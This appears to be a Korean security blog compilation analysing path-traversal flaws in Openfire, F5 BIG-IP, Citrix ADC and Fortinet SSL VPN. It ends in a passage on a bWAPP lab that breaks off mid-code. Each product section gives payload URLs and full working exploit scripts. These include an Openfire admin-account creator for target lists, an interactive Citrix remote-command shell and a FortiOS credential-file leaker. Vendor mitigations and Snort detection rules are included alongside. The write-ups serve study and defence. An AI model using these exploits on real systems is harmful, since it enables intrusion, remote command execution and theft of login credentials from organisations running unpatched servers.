1. Openfire [1]

- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버

- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32315 [2]

 

- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점

> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착

제품명 영향받는 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 
4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4,
4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7,
4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4)

 

2.1 취약점 상세

- 해당 취약점은 2023년 패치 보안 업데이트를 발표

> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

[사진 2] http.title:"Openfire Admin Console" 검색 화면

 

- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생

> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨

> testURLPassesExclude 메소드는 doFilter()에 의해 호출

> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음

public static boolean testURLPassesExclude(String url, String exclude) {
        // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
        // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
        // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
        // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
        // characters after the "*". All data in the URL before
        if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make suxre that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }
        else {
            int paramIndex = url.indexOf("?");
            if (paramIndex != -1) {
                url = url.substring(0, paramIndex);
            }
            if (url.equals(exclude)) {
                return true;
            }
        }
        return false;
    }

 

- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회

> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘

예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"

 

2.2 취약점 실습

- Opernfire 설치 후 정상 접근 확인

[사진 3] Openfire 정상 접근

 

- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득

/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp

[사진 4] 세션 토큰 획득

 

- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성

[사진 5] 새로운 관리자 계정 test 생성

 

- test 계정으로 정상 접근관리자 권한을 가진 것을 확인

> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨

[사진 5] 관리자 계정 test 정상 접근

 

2.3 PoC [3]

- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

> decodedUrl()를 추가하여 UTF-8 디코딩 [8]

제품명 영향받는 버전 해결 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 
4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 
4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 
4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 
4.7.3, 4.7.4)
4.6.8, 4.7.5, 4.8.0

 

- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집

> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외

> 악용을 시도하는 경우 로그인 페이지로 리디렉션

[사진 6] 설정 파일 수정

 

- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용

 

4. 참고

[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

 

1.1 TMUI

- Traffic Management User Interface

- 웹 기반 트래픽 관리 사용자 인터페이스

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/cve-2020-5902

- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점

- ..; 문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능

- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음

① 인증없이 원격 코드 실행 (RCE)

② 파일 생성 및 삭제

③ 서비스 비활성화

④ 정보 탈취

임의의 시스템 명령과 Java 코드를 실행

⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색

영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1

 

2.1 실습

- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드

 

BIG-IP Virtual Edition

Get F5 application services in any environment. On-premises, in the cloud, or a mix of both, F5 BIG-IP Virtual Edition (VE) delivers app services in ways that let you move faster than hardware allows. BIG-IQ simplifies holistically managing BIG-IP devices

www.f5.com

 

- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인

※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속

※ 최초 설치 시 ID/PW는 root/default

[사진 2] 최초 접근 화면

 

- 버프슈트를 통한 Exploit 수행

① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1

 

[사진 3] /etc/passwd 파일 노출

 

② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1

 

[사진 4] /usr/local/www 디렉토리 리스트 조회

 

③ 원격 명령 실행

- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공

 

Commands

 

clouddocs.f5.com

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1

 

[사진 5] 원격 명령 실행

 

- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음

 

BIGIP CVE-2020-5902 Exploit POC

BIGIP CVE-2020-5902 Exploit POC . GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

2.2 PoC

- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨

https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

[사진 6] 취약점이 패치된 버전

 

② 허용된 IP만이 관리 인터페이스에 접근할 수 있도록 설정

- 화이트리스트 방식

 

③ 계정 정보 변경

 

④ F5에서는 httpd 설정에 아래 설정을 권고

- 요청 URL에서 ; 또는 hsqldb가 매칭되는 경우 404 에러 페이지로 리다이렉션

include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

 

3.2 네트워크 측면

① 공개된 PoC를 통해 URL에 /tmui/login.jsp/..;/이 포함된 경우 탐지할 수 있는 정책을 설정 및 적용

- 모니터링을 통해 비인가 혹은 공격 의심 IP 차단 적용

alert tcp any any -> any any (msg:"BIG IP_RCE_CVE-2020-5902";flow:established,to_server;uricontent:"/tmui/login.jsp/..|3b|/tmui/"; nocase; )

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2020-5902
https://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5
https://research.kudelskisecurity.com/2020/07/06/security-advisory-f5-big-ip-critical-severity-rce-vulnerability-cve-2020-5902/
https://support.f5.com/csp/article/K52145254
https://clouddocs.f5.com/cli/tmsh-reference/latest/commands/
https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/

1. Citrix

- 1989년 설립된 미국의 다국적 소프트웨어 기업

- 서버, 애플리케이션 및 데스크톱 가상화, 네트워킹, SaaS, 클라우드 컴퓨팅 기술을 제공

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2019-19781

- 취약한 Citrix 제품군에서 입력값 검증이 부족하여 발생하는 디렉터리 트래버설 취약점

취약한 버전 : Citrix ADC(Application Delivery Controller) 및 Gateway 10.5, 11.1, 12.0, 12.1 및 13.0

 

[사진 2] SHODAN 검색 화면

 

2.1 분석

- 입력값에 대한 검증없이 요청 받은 경로를 직접 사용함으로써 발생하는 취약점

- 취약한 버전의 Citrix 제품군의 /vpns/ 경로에 인증 없이 디렉토리를 포함한 제한된 파일에 접근이 가능한 perl 스크립트가 존재

- 해당 perl 스크립트에서 요청 받은 경로를 직접 사용

Payload 예시
- https://Target IP/vpn/../vpns/services.html
- https://Target IP/vpn/../vpns/cfg/smb.conf

 

[사진 3] PoC 요청 및 200 응답

 

- 또한, 원격의 공격자는 XML을 업로드한 후 해당 XML 파일을 요청하여 내용을 확인 가능함

① POST 메소드로 /vpn/../vpns/portal/scripts/newbm.pl 경로 요청

② NSC_USER 헤더에 ../ 포함하여 randomletter(변경가능) 이라는 이름의 XML 파일 업로드

* Default 계정 정보 : nsroot/nsroot

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/randomletter
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=randomletter&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

③ ②에서 업로드한 파일 요청 시 /etc/passwd의 내용을 확인 가능

[사진 4] XML 파일 업로드 및 /etc/passwd 파일 노출

2.2 PoC

- /vpn/../vpns/portal/scripts/newbm.pl URL 요청 및 NSC_USER 헤더값 조작

#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

 

3. 대응방안

3.1 서버측면

① 보안 패치 적용

버전 패치 버전 패치 공개일
10.5 10.5.70.12 2020.01.24
11.1 11.1.63.15 2020.01.19
12.0 12.0.63.13 2020.01.19
12.1 12.1.55.18 2020.01.24
13.0 13.0.47.24 2020.01.24

 

② Citrix는 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장

- /../이 포함된 요청과 /vpns/ 디렉터리에 접근하려는 요청을 차단

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""

add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

 

3.2 네트워크 측면

탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /vpns/(혹은 /vpn/)이하의 URL로 접근 및 ../ 사용이 확인되므로 해당 문자열을 탐지

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2019-19781

https://github.com/mpgn/CVE-2019-19781

https://github.com/jas502n/CVE-2019-19781

https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

- https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

1. Fortinet SSL VPN

- Fortinet : 보안 솔루션을 개발 및 판매하는 다국적 기업

- SSL VPN : SSL(Secure Socket Layer) 기술을 사용한 VPN 솔루션으로 웹 서버와 클라이언트간의 안전한 통신을 위해 보안을 제공하는 프로토콜

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-13379

- Fortinet 제품에서 입렵값에 대한 검증을 적절히 수행하지 않아 특정 경로, 파일에 접근 가능한 취약점

- 취약점이 발생하는 제품 및 버전은 다음과 같으며, SSL VPN이 활성화된 경우에만 영향을 받음

제조사 제품 버전
Fortinet FortiOS 6.0.0 ~ 6.0.4
5.6.3 ~ 5.6.7
5.4.6 ~ 5.4.12
FortiProxy 2.0.0
1.2.0 ~ 1.2.8
1.1.0 ~ 1.1.6
1.0.0 ~ 1.0.7

 

2.1 분석

- “/remote/fgt_lang?”페이지 호출 시 lang 매개변수의 필터링을 제대로 수행하지 못해 발생하는 취약점

- 공격자는 lang 매개변수에 디렉터리 이동문자 "../"를 이용해 sslvpn_websession 등의 파일에 접근

- sslvpn_websession : 로그인 자격증명이 저장된 파일

Payload : Target IP/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

 

[사진 1] KISA 2021년 상반기 사이버 위협 동향 보고서.pdf 발췌

 

- [사진 1]의 요청을 통해 공격자에게 사용자의 ID/Password가 노출되며, 해당 계정정보를 통해 로그인이 가능

[사진 2] sslvpn_websession 파일 내용 노출 (ID/Password 유출)

2.2 PoC

- /remote/fgt_lang 페이지의 lang 매개변수에 ../를 삽입해 특정 경로, 파일 등에 접근

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)

 

3. 대응

3.1 서버측면

① 취약점 패치 적용

- Fortinet은 취약점 패치 적용 전까지 SSL-VPN을 사용하지 않을것을 권고

 

② 비밀번호 변경

- 이미 취약점에 노출되어 계정정보가 유출되었을 가능성이 있으므로 계정정보를 변경

 

③ MFA 적용

- 계정 외에도 인증할 수 있는 추가 수단을 적용하여 MFA 구현

 

3.2 네트워크 측면

① 탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /remote/fgt_lang?lang 이하의 URL로 접근이 확인되므로 해당 문자열을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"FortiOS SSL VPN Directory Traversal";content:"/remote/fgt_lang?lang";)

 

4. 참고

- https://www.fortiguard.com/psirt/FG-IR-18-384

- https://www.boho.or.kr/data/secNoticeList.do?page=1&sort_code=&sort_code_name=&search_sort=display_contents&search_word=CVE-2018-13379 

- https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=36146 

- https://www.codetd.com/ko/article/7028571

1. Directory Traversal이란?

- 상위 디렉터리로 이동가능한 문자 ../ 를 이용해 상위 디렉터리로 접근하여 파일을 검색/다운 등이 가능한 취약점.
- 접근 통제 및 검증, 서버 설정 미흡 등의 취약점으로 인해 중요 파일에 접근이 가능한 취약점.
- 해당 취약점을 이용해 공격자는 접근 불가한 디렉터리나 파일에 접근이 가능해짐.

2. bWAPP Directory Traversal

- 먼저 bWAPP 첫화면에서 식별되는 정보는 없다.

[캡쳐 1] 초기 화면

- URL의 page 매개변수에 디렉터리 이동문자인 ../를 이용해 상위 디렉터리로 이동
- 중요파일인 /etc/passwd 파일에 접근

[캡쳐 2] /etc/passwd 내용 노출

- ../을 다수 입력한 이유는 다음과 같다.
① 공격자는 현재 자신이 위치한 디렉터리의 정확한 위치를 알지못한다.
② 공격자는 최상위 디렉터리인 root 디렉터리로 이동 후 원하는 디렉터리 및 파일에 접근하는 것이 목표이다.
③ root 디렉터리는 최상위 디렉터리이며, root 디렉터리의 상위 디렉터리 역시 root 이다.
④ 즉, 현재의 정확한 위치를 모르기 때문에 ../를 다수 입력해 root 디렉터리로 이동하기 위함이다.

[캡쳐 3] https://rrhh234cm.tistory.com/170


- Bee-box에서 다음 명령을 통해 해당 페이지의 내용을 확인할 수 있다.
directory_traversal_1.php : 문제 페이지 내용 확인 가능
functions_external.php : 설정된 함수 확인 가능

[캡쳐 4] 해당 페이지 내용 확인

directory_traversal_1.php 내용

<중략>

    <?php

    if(isset($_GET["page"]))
    {

        $file = $_GET["page"];

        switch($_COOKIE["security_level"])
            {

            case "0" :            

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET['page'];

                break;

            case "1" :         

                $directory_traversal_error = directory_traversal_check_1($file);

                if(!$directory_traversal_error)
                {

                    show_file($file);

                }

                else
                {

                    echo $directory_traversal_error;

                } 

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            case "2" :

                $directory_traversal_error = directory_traversal_check_3($file);           

                if(!$directory_traversal_error)
                {

                    show_file($file);

